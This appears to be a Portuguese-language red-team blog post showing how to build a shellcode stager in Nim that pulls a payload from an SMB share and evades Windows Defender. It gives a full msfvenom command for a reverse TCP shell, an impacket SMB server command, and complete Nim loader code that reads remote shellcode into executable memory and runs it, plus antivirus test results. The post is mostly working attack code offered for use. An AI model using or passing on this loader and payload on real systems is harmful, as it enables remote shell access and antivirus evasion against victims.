Desenvolvendo stager SMB em Nim

Nov 24 2022
Olá colegas Red Teamers. Recentemente, comecei a entrar em contato com Nim para codificação ofensiva.

Olá colegas Red Teamers. Recentemente, comecei a entrar em contato com Nim para codificação ofensiva. Para ser sincero acho difícil e estranho, mas FUNCIONA!

Hoje estamos desenvolvendo um estágio SMB simples, ignorando o Windows Defender no momento do teste.

Se você preferir assistir a um vídeo em vez de ler, o vídeo completo pode ser encontrado aqui:https://youtu.be/qq-S2syksL0

Além disso, se você estiver interessado em ingressar no Discord aberto para compartilhar conhecimento e experiência em segurança cibernética, sinta-se bem-vindo:https://discord.gg/dWCe5ZMvtQ

Vamos lá

A teoria é bastante simples, a ideia é evitar escrever o shellcode no arquivo, ignorando a detecção baseada em assinatura, ajudando também na heurística. Inicialmente, tentei baixar o shellcode com HTTP, mas me deparei com muitos problemas que não consegui resolver sozinho. Então a metodologia mudou ligeiramente. Em vez de baixá-lo do HTTP, a carga útil será hospedada no compartilhamento SMB e será lida diretamente a partir daí.

Eu usei msfvenom stageless payload

msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 -f raw -o code.bin

impacket-smbserver smb . -ts -debug -smb2support

import winim/lean

var filename = "\\\\192.168.153.128\\smb\\code.bin"

var file: File = open(filename, fmRead)

var fileSize = file.getFileSize() 
var shellcode = newSeq[byte](fileSize)
discard file.readBytes(shellcode, 0, fileSize)
file.close

echo shellcode

echo fileSize

echo sizeof(shellcode)

type
    buf* = LPVOID



var rez = VirtualAlloc(nil, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
copyMem(rez, shellcode[0].addr, fileSize)
let f = cast[proc(){.nimcall.}](rez)
f()

Em primeiro lugar, devemos importar a biblioteca do kernel do Windows, permitindo-nos invocar as APIs do Windows:

import winim/lean

var filename = "\\\\192.168.153.128\\smb\\code.bin"

var file: File = open(filename, fmRead)

var fileSize = file.getFileSize() 
var shellcode = newSeq[byte](fileSize)
discard file.readBytes(shellcode, 0, fileSize)
file.close

type
    buf* = LPVOID

var rez = VirtualAlloc(nil, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
copyMem(rez, shellcode[0].addr, fileSize)
let f = cast[proc(){.nimcall.}](rez)
f()

Hora do Teste!

Realizei 2 testes. O primeiro é contra Windows 10 Client com Defender UP e RUNNING. A segunda é contra a interface antiscan.me.

Nim Stager x Windows Defender

O teste 1 começa descartando o stager no sistema de arquivos. Nada está sendo acionado até agora, o que significa que contornamos com sucesso a detecção baseada em assinatura. Agora vamos correr e observar:

O stager acabou funcionando muito bem, e o estranho aqui é que o Defender conseguiu ser acionado, mas isso não matou o shell:

Eu tive esse shell funcionando por alguns minutos e estava totalmente funcional. Pessoalmente, não tenho ideia de por que o defensor não o matou, se você souber a resposta, agradeceria compartilhar.

Nim Stager vs Antiscanme

Não me interpretem mal, o antiscanme é ótimo, mas ao testar stagers, eles realmente não têm uma maneira de apresentar resultados válidos. Os resultados que você vê são baseados solidamente na detecção baseada em assinatura, uma vez que não há possibilidade de rede para baixar o shellcode real. Espero que mais fornecedores de AV percebam isso em testes reais, mas é um bom “primeiro passo” a ser feito.

Depois de fazer o upload do stager, apenas 4/26 fornecedores conseguiram pegá-lo.

Acredito que o gatilho seja baseado nos fornecedores que leem as chamadas de APIs do Windows, contando isso como malicioso. Claro, para testar exatamente o que deu errado, eu precisaria realizar muitos, muitos testes. Essa é a minha teoria no momento.

Conclusão

Jogar com Nim é divertido e os resultados que alcançamos simplesmente encenando as coisas são incríveis. Claro, existem técnicas de desvio de AV muito mais avançadas que podemos executar, mas faremos isso no futuro. Espero que você ache esse conteúdo útil e tenha aprendido algo novo.